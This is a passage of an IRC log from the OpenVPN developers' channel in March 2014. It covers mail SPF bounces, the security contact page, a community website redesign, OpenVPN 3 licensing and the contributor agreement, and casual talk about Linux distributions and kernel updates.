check with James, but I vaguely recall we discussed this a while back when another OpenSSL issue appeared 05:35 -!- mattock is now known as mattock_afk 05:49 <@syzzer> dazo: yeah, I was kind of hoping for that, but I'm not sure. However, both client and server could initiate an reneg, so I think a malicious server could insert the reneg to both the client and the server under attack. So even if openvpn not actively renegatiates it can still be a problem when it responds to renegatiation requests. 07:43 <@dazo> mattock_afk: it might be we should reconsider the "simplicity" of the security list ... I replied to an e-mail, and got a rejection of the reply going to myself due to SPF records (senders from my domains can only come from my servers) ... Using re-mailing techniques (like Sender Rewriting Scheme) will avoid this 07:43 <@dazo> https://en.wikipedia.org/wiki/Sender_Rewriting_Scheme 07:43 <@vpnHelper> Title: Sender Rewriting Scheme - Wikipedia, the free encyclopedia (at en.wikipedia.org) 08:21 <@cron2> justt make sure it's not "plain" forwarding alias, but something that calls "sendmail -f owner-security@openvpn.net" and that will be finde 09:50 <@dazo> ahh, true enough 10:02 -!- mattock_afk is now known as mattock 10:03 <@mattock> dazo: if we could also get rid of generic support requests coming to security list that'd be great 10:03 <@mattock> although we've had two more or less useful security reports so far 10:03 <@dazo> mattock: where do people pick up that address? wild guess, or is it on a web page? 10:04 <@mattock> it's on a web page, and the list's purpose is clearly stated 10:04 <@mattock> but I think these people email to all addresses listed there 10:04 <@dazo> mattock: people don't read 10:04 <@mattock> yep 10:04 <@mattock> they don't even think, or don't understand what "security" means 10:04 <@dazo> you need to "hide" in a page related to security issues found in the openvpn software, or something like that 10:05 <@dazo> a page which lists CVE's related to openvpn ... and at the very bottom, you can point at this address 10:05 <@dazo> security researches will find it ... stupid users will most likely not 10:05 <@mattock> maybe the address could be in the README? 10:06 <@dazo> no, lets not distribute it that much :-P 10:06 <@mattock> :) 10:07 <@mattock> so a CVE page on openvpn.net (or community.openvpn.net) and have the address hidden there? 10:07 <@dazo> yeah, I think that's a useful page ... to document openly the security issues openvpn have had, when it was reported and when it was fixed 10:08 <@dazo> I don't think openvpn has much to fear from such a disclosure 10:08 <@mattock> yep, makes sense 10:08 <@dazo> we don't have to update it with new issues instantly, but can do so after the release has been done 10:09 <@mattock> do we have a list of CVEs at hand? 10:09 <@dazo> I'm not sure, except of the git log 10:10 <@mattock> that's good enough I guess 10:10 <@mattock> I'll add this to my todo 10:10 <@mattock> btw. the Trac email address sync from LDAP seems to working really nicely 10:10 <@dazo> might be some discussions on the mailing lists too 10:10 <@dazo> cool! 10:12 <@mattock> it's here if you're interested in having a look: https://github.com/mattock/trac-ldap-sync 10:12 <@vpnHelper> Title: mattock/trac-ldap-sync · GitHub (at github.com) 10:12 <@mattock> basically it checks the session table in trac to see which authenticated users have an email account 10:13 <@mattock> and those authenticated users which don't already have an email configured, will get it from LDAP 10:13 <@mattock> so it's possible to override the LDAP email address in Trac 10:13 <@mattock> in any case, that should make it easier to get responses to tickets 10:14 <@dazo> yupp 10:17 <@cron2> mattock: this is great, so we should ask on all open-and-waiting tickets again! 10:19 <@cron2> mattock: on a related note - what happened to "openvpn.net frontpage restructuring, so it's easier to find community, and then actually have the community landing page not on www.openvpn.net but on community"? 10:19 <@cron2> we (wel, you and James) agreed that this makes sense, back in Munich... 10:19 <@mattock> it pekster who was working on this? 10:20 <@mattock> yeah, we should have that discussion 10:20 <@cron2> so you're waiting for the landing page on "community"? 10:20 <@mattock> yep 10:20 <@cron2> ic. *poke pekster* 10:20 <@mattock> I recall pekster wanted to rewrite the "Terms of use" page on community.openvpn.net, and I agree it makes sense 10:20 <@mattock> current terms of use may be ok for openvpn.net, but not for community.openvpn.net 10:21 <@mattock> there is a draft of the new terms of use on pekster's own website, but nothing on community.openvpn.net 10:21 <@mattock> and we agree to draft that terms of use page on Trac 10:21 <@mattock> nothing has happened there afaik 10:21 <@cron2> dazo: mail to dazo@users.sourceforge.net bounces. Would you please either add an exception to your filters or stop using that address, then? 10:22 <@ecrist> what about openvpn.org being handed to the community? 10:22 <@ecrist> I'd still like to see that happen. 10:22 <@dazo> cron2: bounces? How? 10:22 * dazo checks mail logs 10:22 <@cron2> SPF fail 10:22 <@mattock> here's a very rough draft of the community landing page: https://community.openvpn.net/openvpn/wiki/NewCommunityLangingPage 10:22 <@vpnHelper> Title: NewCommunityLangingPage – OpenVPN Community (at community.openvpn.net) 10:23 <@mattock> ecrist: what would that entail exactly? 10:23 <@mattock> in practice I mean 10:24 <@cron2> Message rejected due to: SPF fail - not authorized. Please see http://www.op 10:24 <@ecrist> moving all the open source pages to openvpn.org addresses 10:24 <@cron2> enspf.net/Why?s=mfrom;id=gert@kirk.greenie.muc.de;ip=216.34.181.68;r=sourceforge 10:24 <@cron2> @sommerseths.net 10:24 <@cron2> argh, stupid terminal, that should have been a single line 10:25 -!- justinzane [~justinzan@tiny.justinzane.com] has quit [] 10:25 <@mattock> ecrist: what would the .org website have on it? 10:25 <@dazo> cron2: found it in the logs 10:26 <@ecrist> mattock: I'm thinking it would be what community.openvpn.net is now 10:26 <@ecrist> and we could integrate the forums a little differently 10:26 <@mattock> ecrist: yep, that would probably make sense 10:27 <@cron2> dazo: I can see why it happens, but if I get bounces for things I can not fix, it slightly upsets me 10:28 <@dazo> cron2: looks like it's rejected due to the same reason mine is rejected ... because your SPF records don't allow mx.sourceforge.net to send mails on your behalf ... that's exactly the same issue when I send to security list too 10:28 <@mattock> I think first making the "Community" link lead to community.openvpn.net and fixing the terms of use (to something less silly) would be a step in the right direction 10:28 <@dazo> hence the "don't use our e-mail address as sender address" request earlier today 10:28 <@mattock> basically all that would be left then would be renaming community.openvpn.net as openvpn.org 10:29 <@ecrist> yes 10:29 <@mattock> and migrating some of the articles from openvpn.net to openvpn.org 10:29 <@mattock> I don't think the openvpn.org switch would be such a big deal actually 10:30 <@mattock> if the big community link would lead to Trac already 10:30 <@dazo> cron2: the only way I can fix that on my side is to add the IP address of mx.sourceforge.net to the SPF whitelist ... I'm reluctant to do that 10:30 <@cron2> dazo: do not use that mail address then 10:30 <@mattock> ecrist: oh, forgot to mention that when we last discussed this landing page thing it was agreed that we'd need to use a static HTML page 10:31 <@dazo> Let's see if I can work around it 10:31 <@mattock> because Trac will shit it's pants with the amount of visitors openvpn.net gets 10:31 <@mattock> and many/most come to openvpn.net to either read the docs or download the Windows installers 10:31 <@dazo> mattock: See PM ... regarding e-mail address 10:33 <@cron2> dazo: for the time being, I think the only workable workaround is to whitelist that IP address in your filter, or do not use SPF for hard blocking but as input to spamassassin 10:34 <@cron2> I use it as a scoring input to SA, and that seems to have less false positives (as SPF fail alone is not sufficient, it needs other criteria) 10:34 <@dazo> cron2: I'm using a separate policyd before spamassassin is queried 10:35 <@cron2> dazo: yeah, but that is not working for your current mail setup, using users.sourceforge.net and them not rewriting the envelope-from 10:35 <@dazo> ahh, right ... I didn't have too good experience with amavisd/SA 10:35 <@dazo> doing the SPF 10:35 <@cron2> -. cvbnö# 10:35 <@cron2> sorry 10:35 <@dazo> :) 10:36 * dazo interpreted that as: You stupid bastard 10:36 <@dazo> :-P 10:36 <@cron2> nono, it needs to read as "oh, damn, that muffin hat lots of fat in it, and now it's all on the (new!) laptop keyboard, and maybe I should have moved the focus elsewhere before cleaning it" 10:37 <@dazo> hehe :) 10:37 <@plaisthos> Has anyone heard from James or do we have a meeting anytime soon? 10:38 <@plaisthos> I would like to expriment with the Session ID packet in the near future... 10:38 <@cron2> plaisthos: haven't heard anything on that, but meeting sounds useful. Maybe not today :-) 10:39 <@cron2> (I'll be driving to the airport at that time) 10:39 <@dazo> I would also need to discuss the GSSAPI implementation too ... (I don't quite see that the current challenge-response implementation seems not like the right approach) 10:39 <@dazo> s/ not // 10:41 <@plaisthos> current is basically auth -> get a sepcial failed auth (with challenge), retry again taking challenge into consideration 10:42 <@dazo> right ... but, gssapi does a back'n'forth dialogue a few times before everything is settled 10:42 <@cron2> ah 10:43 <@mattock> we should definitely have a meeting 10:43 <@dazo> and! I don't have username/password ... I have a token which is passed over 10:43 <@mattock> maybe next week? 10:43 <@cron2> dazo is not actually *using* that sourceforge.net address, but mattock has put it on the security alias :-) - mattock, change that! 10:43 <@dazo> it's in progress :) 10:43 <@dazo> next week is quite "hellish" for me ... meetings almost every day 10:43 <@mattock> done already 10:44 <@mattock> dazo: then one more would not hurt :D 10:44 <@cron2> thanks! 10:44 <@plaisthos> dazo: so we would a lot more invasive change in the whole auth channel 10:44 <@mattock> anyways, we have plenty of things we should finalize and discuss, so the sooner the better 10:44 <@plaisthos> s/auth/control/ 10:44 <@dazo> plaisthos: I'm considering a possibility to hook into some of the key_method functions in ssl.c 10:45 <@dazo> or was it ssl_verify.c ... I need to look at the code again 10:45 <@plaisthos> yeah 10:45 <@mattock> guys: if you have time, please make the to-be community landing page better: https://community.openvpn.net/openvpn/wiki/NewCommunityLangingPage 10:45 <@vpnHelper> Title: NewCommunityLangingPage – OpenVPN Community (at community.openvpn.net) 10:46 <@mattock> once the draft is ready, I can start selling this thing with the company guys 10:46 <@mattock> for the... 10:46 <@dazo> just a minor thing ... I'd like the "The community edition is supported...." to be the first line ... and mention the commercial ones a bit lower down 10:47 <@mattock> dazo: agreed, I can change that right now 10:47 <@dazo> A visitor came to this page to read about the community version, most likely ... and s/he came most likely here via the openvpn.net front page 10:48 <@mattock> changed 10:48 <@dazo> works for me 10:49 <@mattock> we'd also need links to HOWTO etc 10:49 <@mattock> the most important documentation 10:49 <@mattock> what else... 10:49 <@dazo> I don't think we should have too much on the landing page 10:51 <@cron2> commercial, trac, downloads, howto 10:51 <@cron2> well, "start of wiki" that is 10:52 <@dazo> mattock: a side track ... but I see that there's now a link on the current landing page to a qemu+openvpn ... which is an external site ... and it's seems not be completely correct on some details 10:52 <@dazo> (like bridging is required for browsing windows shares) 10:53 <@mattock> dazo: I'll have a look 10:53 <@mattock> if there is _some_ useful information on that qemu+openvpn page then removing the link entirely might not be fair... we could just make a note that "this and that is incorrect" 10:54 <@mattock> let me rephrase that... if _most_ of the information is useful 10:55 <@mattock> ok, added a note 10:55 <@mattock> I can remove the link if you guys think that makes more sense 10:57 <@dazo> I don't mind external references, but it should be in a separate place for "unofficial" resources, or something like that 11:03 <@mattock> hmm, I guess that makes sense 11:03 <@mattock> maybe an external documentation section? 11:05 <@mattock> dazo: actually, many of the Trac articles are unofficial 11:05 <@mattock> like the iOS inline stuff, easy windows guide etc. 11:06 <@mattock> I wonder if we should split the articles into "reviewed" and "unreviewed" or something? 11:06 <@dazo> Well, I consider those articles to be correct, and they are maintained by this community 11:06 <@dazo> for a visitor, what's on community.openvpn.net will most likely be considered more official than a random blog 11:07 <@dazo> but I agree, having a "reviewed" flag on articles would be good ... those articles should then probably be writable only by elected community members 11:08 <@mattock> well, I don't particularly care who wrote the article, as long as a trusted community member has reviewed it 11:08 <@mattock> i.e. the information is valid 11:08 <@dazo> that I agree too ... but once they are flagged as "reviewed" .... a random person shouldn't be able to tweak the contents to be invalid 11:09 <@mattock> agreed 11:09 <@mattock> it's possible to make articles read-only in Trac, but I'm not sure if there's any more fine-grained control over the access rights 11:09 <@mattock> have to check 11:14 <@mattock> dazo: still looking at better alternative, but a poor-mans approach would be to simply have a link to a reviewed version of the article 11:14 <@mattock> like ?version=2 11:15 <@mattock> I don't think those versions can be edited 11:16 <@mattock> yep, if the ?version=<n> parameter is given, then the page that's output can't be edited 11:16 <@mattock> which makes sense, because in the backend it's using SVN 11:17 <@mattock> so we could have a "reviewed" version of the important articles, and no-one could break them afterwards 11:18 <@mattock> so, for example we could have something like: 11:18 <@mattock> HOWTO (reviewed version / development version) 11:18 <@mattock> or something along those lines 11:24 <@plaisthos> sigh another bug/design oversight 11:24 <@plaisthos> When receiving a SIGTERM openvpn does a explicit exit notify 11:25 <@plaisthos> on USR1/SIGHUP it does not do that 11:25 <@mattock> added some documentation links to the draft landing page: https://community.openvpn.net/openvpn/wiki/NewCommunityLangingPage 11:25 <@vpnHelper> Title: NewCommunityLangingPage – OpenVPN Community (at community.openvpn.net) 11:25 <@mattock> oh, we should move FAQ to community.openvpn.net 11:25 <@mattock> the current one on openvpn.net sucks 11:30 -!- mattock_ [~yaaic@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:30 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 11:36 -!- mattock is now known as mattock_afk 11:59 -!- mattock_afk is now known as mattock 12:00 -!- mattock_ [~yaaic@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 12:22 <@pekster> mattock & anyone else interested: terms of use replacement draft is on the community wiki: https://community.openvpn.net/openvpn/wiki/OpenVPN2014-community-ToU-update 12:22 <@vpnHelper> Title: OpenVPN2014-community-ToU-update – OpenVPN Community (at community.openvpn.net) 12:39 <@mattock> pekster: great, I'll have a look tomorrow! 13:20 -!- mattock is now known as mattock_afk 14:03 -!- mattock_afk is now known as 1JTAAH089 14:55 -!- 1JTAAH089 is now known as mattock_afk 15:29 <@plaisthos> todays obscure openvpn option: ifconfig-push-constraint 15:30 <@plaisthos> no idea what it does :) 16:40 <@dazo> plaisthos: I believe it's some kind of control mechanism to ensure the client has an expected IP address ... but I honestly don't know for sure ... but it seems not to be completed, it's tagged with JYFIXME 16:52 -!- d12fk [~heiko@s15438066.onlinehome-server.info] has quit [Ping timeout: 264 seconds] 17:26 -!- dazo is now known as dazo_afk 20:21 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 20:21 -!- mode/#openvpn-devel [+o dazo] by ChanServ 20:24 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 265 seconds] 20:25 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 265 seconds] 20:25 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 265 seconds] 20:35 -!- Netsplit *.net <-> *.split quits: @pekster, funnel 21:24 -!- Netsplit *.net <-> *.split quits: @vpnHelper, @raidz --- Day changed Fri Mar 07 2014 01:52 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 01:52 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 01:52 -!- funnel [~funnel@unaffiliated/espiral] has joined #openvpn-devel 01:52 -!- mattock [~mattock@raidz.im] has joined #openvpn-devel 01:52 -!- krzee [~k@2610:150:4002::3:1] has joined #openvpn-devel 01:52 -!- ServerMode/#openvpn-devel [+oo raidz pekster] by sendak.freenode.net 01:53 -!- mattock [~mattock@raidz.im] has quit [Changing host] 01:53 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:53 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:56 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 01:56 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 05:56 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection] 05:57 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 05:57 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 08:31 -!- mattock is now known as mattock_afk 10:12 -!- d12fk [~heiko@s15438066.onlinehome-server.info] has joined #openvpn-devel 10:12 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 10:32 -!- krzee [~k@2610:150:4002::3:1] has quit [Changing host] 10:32 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 10:32 -!- mode/#openvpn-devel [+v krzee] by ChanServ 13:07 -!- mattock_afk is now known as mattock 14:37 -!- mattock is now known as mattock_afk 15:54 -!- dazo is now known as dazo_afk --- Day changed Sat Mar 08 2014 22:34 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 240 seconds] 23:40 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 23:40 -!- mode/#openvpn-devel [+o pekster] by ChanServ --- Day changed Mon Mar 10 2014 02:40 -!- mattock_afk is now known as mattock 08:12 -!- dazo_afk is now known as dazo 13:00 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 13:01 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 13:01 -!- mode/#openvpn-devel [+o mattock] by ChanServ 15:03 <@plaisthos> My app reached a new milestone 500k total installs! 15:03 <@plaisthos> (James app managed to overtake my and has already > 1million) 15:31 -!- mattock is now known as mattock_afk 16:29 <@cron2> how is James doing that? 16:39 -!- dazo is now known as dazo_afk 17:39 <@plaisthos> cron2: no idea, probably the being the * official full-featured Android VPN client* 17:40 <@plaisthos> And my client is missing challenge/response auth 18:55 <@ecrist> congrats, plaisthos! 20:59 <+krzee> cron2, put yourself in the users shoes? if you dont know which app to install, you see all those choices, the official app gets installed --- Day changed Tue Mar 11 2014 02:43 -!- mattock_afk is now known as mattock 03:19 <@cron2> plaisthos: well, yes, but it's not even doing LZ4 yet! :-) 03:19 <@cron2> (but anyway, both is highly impressive) 03:41 -!- dazo_afk is now known as dazo 06:51 <@plaisthos> cron2: The latest Android OpenVPN Connect version does LZ4 06:53 <@plaisthos> James actually updated the openvpn3.tar on the staging website 07:05 <@cron2> oh? My n7 is only ever offering updates for your app... 07:05 <@plaisthos> the changelog of 1.1.13 states lz4 support 07:05 <@cron2> funny. need to check. whenever I have a few minutes of spare time. *check calendar*. Oh, March 2017 :-) 07:06 <@plaisthos> let me check 07:06 <@plaisthos> if my client still works with the C++ core ... :D 07:06 <@cron2> grrr, and of course my n7 battery is empty again... after 4 days of doing nothing (flight mode was turned on)... 07:08 <@cron2> ah, lol, that update was pushed somewhere between friday and today, so *now* I can see it 07:09 <@cron2> and the IV_GUI_VER is there now as well 07:09 * cron2 happy 07:46 <@plaisthos> now we need tunnelblick and windows gui on board :) 08:00 <@cron2> this windows gui man is shy, he seems to hide as soon as we look at him... 08:34 <@plaisthos> openvpn3 doesn't works with openssl anymore (compile errors) 09:22 <@plaisthos> \o/ OpenVPN for Android with OpenVPN 3 C++ core 09:32 <@plaisthos> peer info: IV_GUI_VER=de.blinkt.openvpn_0.6.10 09:32 <@plaisthos> peer info: IV_VER=3.0 09:32 <@plaisthos> :) 09:43 <+krzee> maybe i should install openvpn connect one day just to look 09:43 <+krzee> but really, i like your version, cant see any reason i would switch 10:05 <@plaisthos> I wonder if James will officially release the OpenVPN 3 C++ 10:08 <+krzee> is it openvpn 3 as in the roadmap we worked on long ago? 10:08 <+krzee> modular as hell?? 10:11 <@plaisthos> krzee: no, OpenVPN 3 is a C++ reimplementation of the OPenVPN core to avoid the GPL 10:11 <+krzee> ahh ok thats what i thought 10:11 <+krzee> so i guess roadmap is for openvpn 4 now 10:11 <+krzee> :D 10:11 <@plaisthos> calling it OpenVPN 3.0 just adds to the confusion 10:12 <+krzee> it's pretty amazing to me that he simply busted out another openvpn implimentation like he did 10:12 <+krzee> dudes got crazy skills 10:16 <@dazo> krzee: actually, the C++ approach isn't that far away from the modularity ... because the code base he has written (which is currently only client side) is basically just an OpenVPN library ... and then you have a CLI client, or GUI client which uses that library ... and the total package is what we know as openvpn today 10:17 <@dazo> but the modularity is also possible through some of new development approaches James chose, where it's object oriented now, and you can do some tricks with object/method overloading and such stuff ... so it should be easier to extend this new code base 10:17 <+krzee> dope, so if/when he releases it we'll be much closer to the roadmap? 10:17 <@plaisthos> module AGPL3 and contributers agreement 10:18 <@plaisthos> (and C++ which some current openvpn devs don't like) 10:18 <@dazo> somewhat closer yes ... not strictly as the roadmap ... but it's been redesigned with modularity in mind (which the current code base does not consider) 10:18 <@mattock> plaisthos: re: James releasing 3.0 C++... yes, he will, but in "James time" :) 10:18 <@dazo> well, the contributors agreement is only needed for code which hits areas related to the iOS client ... iirc our Munich meeting well 10:19 <+krzee> james time? is he still on cvs? :D 10:19 <@dazo> I'll admit I'm not too found of C++ ... and I'll see what I'll do we move over to that code base 10:19 <@plaisthos> dazo: sure. As in contributing to the OpenVPN 3 core. Writing another UI/client/server is possible without. 10:19 <@mattock> krzee: actually, after all these year, he's 100% git 10:19 <@mattock> :P 10:20 <@mattock> anyways, I'm pushing him to release 3.0 (as in "code in Git"), but these things take time with James 10:20 <@mattock> now we're "very close to making a release", whatever that means 10:20 <@dazo> plaisthos: I think we agreed that the core would be split up so that the the contributor agreement requirements would be minimal 10:21 <@dazo> or to say it otherwise ... if I need to sign a contributor agreement for my community work ... then I'm going to spend my time on completely other tasks 10:21 <@plaisthos> dazo: core as being the common parts 10:22 <@plaisthos> at the moment that be would 95% of OpenVPN 3 C++ 10:23 <@dazo> I had a firm understanding that the code would be split up, so that the platform specific code would be "separate" ... and that only the ios platform would require this agreement 10:23 <@cron2> nah, the ios platform code needs a full NDA 10:23 <@cron2> but you can't release an app built from a GPL-only source in app store 10:24 <@cron2> everything that is needed to build openvpn on iOS would need a dual-license 10:24 <+krzee> thanks apple =/ 10:26 <@dazo> If so ... well, then that really concludes any openvpn 3 contributions completely from the core parts 10:26 <@dazo> for me 10:32 <@mattock> the interesting part is that openvpn tech can't really force anyone to sign the CLA 10:33 <@mattock> I'm sure there will be both active and passive resistance to openvpn 3 from that perspective 10:33 <@plaisthos> same with other project 10:33 <@mattock> yep 10:33 <@plaisthos> if you want your contributions in the official source you have to sign the CLA 10:34 <+krzee> could lead to sporks 10:34 <+krzee> (without the spoon part) 10:35 <@mattock> the interesting thing is that the party requiring the CLA is in a sense at a disadvantage, because other can simply take the code, not sign the CLA, develop etc 10:35 <@mattock> but not the other way around 10:35 <@dazo> exactly 10:35 <@mattock> as with mysql/mariadb 10:35 <@mattock> not sure how much that was related to CLAs, but anyways 10:35 <@dazo> it most likely won't happen before the need arises ... but I'm sure that point will come sooner or later 10:36 <@mattock> yep 10:36 <@dazo> mattock: mysql/mariadb was just as much Oracle being involved and owning mysql too ... plus that the close version of mysql got more features than the GPLed version 10:37 <@mattock> I've heard that Oracle did finally push the panic button when all the distros were moving to MariaDB 10:37 <@mattock> which apparently made mysql stick as the default in ubuntu at least 10:38 <@mattock> not sure what oracle did exactly, or what other effects it might have had 10:38 <@dazo> mattock: well, they did that just a few weeks ago ... but there's still much more happening in regards to features/performance in the closed version, afaik 10:38 <@mattock> probably 10:39 <@mattock> in my opinion, Oracle turns all open source applications it touches into shit, rather sooner than later 10:39 <@dazo> I fear Ubunutu (or Mr. Spaceman in fact) are just being a bit naive and clueless about the realities 10:39 <@mattock> could be 10:39 <@mattock> in any case, it has taken Oracle quite a bit of time to kill of mysql (unintentionally), as well as Java 10:39 <@mattock> they were more effective with other Sun projects I think 10:40 <@dazo> and OpenOffice.org 10:41 <@mattock> yeah, that was a classic 10:41 <@plaisthos> OpenSolaris 10:41 <@mattock> yep 10:41 <@mattock> glassfish 10:41 <@mattock> what else, not sure 10:41 <@plaisthos> Support Contract that made sense for academic 10:58 <+krzee> the upside there is not too many cluefull server admins use ubuntu for their servers 10:59 <+krzee> (afaik, dont hate me if one of you do) 10:59 <+krzee> :-p 10:59 <@plaisthos> I do 10:59 * krzee hides 10:59 <@plaisthos> because Debian did not boot 11:00 <@plaisthos> And we did not want to put up with this binary blob debian custom install CD nonsense 11:03 <@mattock> ubuntu is fine as a server OS 11:03 <@mattock> the LTS versions 11:03 <@mattock> I just have a feeling many sysadmins use it because they think it's somehow easier than Debian (on server) 11:03 <@mattock> which is not the case 11:03 <@mattock> it's just heavier and gets a lot more kernel updates (i.e. reboots) 11:04 <+krzee> i consider it strictly desktop os, but who am i to judge 11:05 <@mattock> it's a fine desktop OS, too, even though I think in the long run Canonical's approach to the community will cost them dearly 11:11 <@syzzer> I tend to use Debian for production-servers, and Ubuntu (usually non-LTS) for 'playground'-servers. More, and more recent packages, thus less hassle to get something installed :) 11:15 * dazo refrain to comment on this debianism .... :-P 11:16 <@mattock> dazo: RHEL/CentOS is quite good also :P 11:17 <@dazo> heh ... you just feel obliged to say so now, mattock :-P 11:17 <@mattock> well, I managed CentOS quite a bit in my previous work, and I _do_ have one CentOS 6 server (which I use as a buildslave) 11:18 <@mattock> also, I make sure my puppet module work RHEL/CentOS and Fedora 11:18 <@dazo> :) 11:18 <@mattock> I've just gotten more used to Debian 11:19 <@mattock> also, RHEL is _so_ much better than SLES 11:19 <@dazo> I actually manage ~20-25 ScientificLinux6 servers (I've lost count) and 2 CentOS 5 11:19 <@dazo> (that's outside RH work, of course) 11:27 <@syzzer> yeah, I guess it's just what you've gotten used to. Both work fine, but I always feel kind of lost when I have to do maintenance on RHEL or SLES machines, because I don't know them very well... 11:57 * cron2 wonders why kernel updates these days are still done by "reboot" and not by "kexec"... reboot is so last century... 12:02 <@dazo> heh 12:03 <@dazo> cron2: kexec actually requires to restart the init prcoess ... so it's kind of like a reboot (but without the BIOS/UEFI POST crap which takes forever) 12:03 <@pekster> Hey, _my_ UEFI is fast ;) 12:04 <@dazo> well, after the POST, you have storage controllers which takes even longer .... 12:06 <@pekster> True, that can get interesting on servers. One (hopefully) isn't changing kernels weekly on them ;) 12:06 <@dazo> :) 12:08 <@plaisthos> cron2: proably not well tested enough 12:08 <@dazo> cron2: I think this might be one solution ... https://github.com/dynup/kpatch ... however, I would only use it on critical updates, not for everything 12:08 <@vpnHelper> Title: dynup/kpatch · GitHub (at github.com) 12:08 <@plaisthos> cron2: Not all devices might come up 12:09 <@plaisthos> A bit related: in defy mobile phone kexec to use a custom kernel did not work because a 2nd initialisation screwed the radio module 12:09 <@dazo> and kexec is actually quite nasty ... it's a nice entry point for trojans 12:10 <@plaisthos> pekster: try Ubuntu ;) 12:10 <@plaisthos> ubuntu has like every two weeks a new kernel 12:12 <@pekster> My laptop runs xubunt, and 13.10 finally got 2.3.2 in the repos. No more /usr/local/apps/openvpn-2.3.2/sbin/openvpn (for now..) 12:12 <@plaisthos> live on the edge! 12:12 <@plaisthos> use openvpn 2.4-master! 12:12 <@pekster> Oh, I do. TLSv1.2 is nice 12:14 <@plaisthos> I don't even remember if the TLSv2 enable patch got into 2.3-release 12:16 <@pekster> It's one of my windows-previews builds too, (primarily becuase I wanted it, but it's nice for early-adopters or testers too) 12:36 <@cron2> plaisthos: if they do not come up at kexec, why would they come up at reboot? 12:37 <@cron2> (well, the double-init-without-BIOS-really-kicking-all-there-is is an argument) 12:37 <@cron2> plaisthos: TLSv2 is in 2.3, but in 2.3.3-to-be 12:39 <@plaisthos> cron2: yeah something like that 12:40 <@plaisthos> They eventually managed to get kexec working but doing some very evil/hackish state transfer between old and new kernel 12:52 -!- dazo is now known as dazo_afk 16:22 -!- cron2_ [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 16:22 -!- mode/#openvpn-devel [+o cron2_] by ChanServ 16:24 -!- mattock is now known as mattock_afk 16:28 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds] 16:28 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Ping timeout: 245 seconds] 16:28 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 245 seconds] 16:28 -!- waldner [waldner@openvpn/user/waldner] has quit [Ping timeout: 245 seconds] 16:29 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 16:29 -!- mode/#openvpn-devel [+o dazo] by ChanServ 16:30 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 16:33 -!- Netsplit *.net <-> *.split quits: @pekster, @raidz 16:38 -!- Netsplit over, joins: raidz 16:38 -!- mode/#openvpn-devel [+o raidz] by ChanServ 16:38 -!- Netsplit over, joins: pekster 16:38 -!- mode/#openvpn-devel [+o pekster] by ChanServ 16:39 -!- Netsplit *.net <-> *.split quits: funnel, @plaisthos 16:41 -!- Netsplit over, joins: @plaisthos, funnel 16:46 -!- funnel [~funnel@unaffiliated/espiral] has quit [Read error: Connection reset by peer] 16:57 -!- funnel [~funnel@unaffiliated/espiral] has joined #openvpn-devel 17:04 -!- funnel [~funnel@unaffiliated/espiral] has quit [Read error: Connection reset by peer] 17:09 -!- funnel [~funnel@unaffiliated/espiral] has joined #openvpn-devel 17:09 <@vpnHelper> RSS Update - tickets: #377: socks proxy always advertise authentication even if no authentication is provided by user <https://community.openvpn.net/openvpn/ticket/377> 17:14 -!- funnel [~funnel@unaffiliated/espiral] has quit [Ping timeout: 264 seconds] 17:46 -!- funnel [~funnel@unaffiliated/espiral] has joined #openvpn-devel 17:52 -!- funnel [~funnel@unaffiliated/espiral] has quit [Ping timeout: 246 seconds] 17:54 -!- funnel [~funnel@unaffiliated/espiral] has joined #openvpn-devel 18:01 -!- funnel [~funnel@unaffiliated/espiral] has quit [Read error: Connection reset by peer] 18:02 -!- funnel [~funnel@unaffiliated/espiral] has joined #openvpn-devel 18:08 -!- funnel [~funnel@unaffiliated/espiral] has quit [Ping timeout: 252 seconds] 18:09 -!- funnel [~funnel@unaffiliated/espiral] has joined #openvpn-devel 18:15 -!- funnel [~funnel@unaffiliated/espiral] has quit [Ping timeout: 264 seconds] 18:17 -!- funnel [~funnel@unaffiliated/espiral] has joined #openvpn-devel 18:22 -!- funnel [~funnel@unaffiliated/espiral] has quit [Ping timeout: 246 seconds] 18:25 -!- funnel [~funnel@unaffiliated/espiral] has joined #openvpn-devel 18:30 -!- funnel [~funnel@unaffiliated/espiral] has quit [Ping timeout: 245 seconds] 18:32 -!- funnel [~funnel@unaffiliated/espiral] has joined #openvpn-devel 18:38 -!- funnel [~funnel@unaffiliated/espiral] has quit [Ping timeout: 246 seconds] 18:39 -!- funnel [~funnel@unaffiliated/espiral] has joined #openvpn-devel 18:46 -!- funnel [~funnel@unaffiliated/espiral] has quit [Read error: Connection reset by peer] 18:47 -!- funnel [~funnel@unaffiliated/espiral] has joined #openvpn-devel 18:52 -!- funnel [~funnel@unaffiliated/espiral] has quit [Ping timeout: 245 seconds] 18:54 -!- funnel [~funnel@unaffiliated/espiral] has joined #openvpn-devel 19:01 -!- funnel 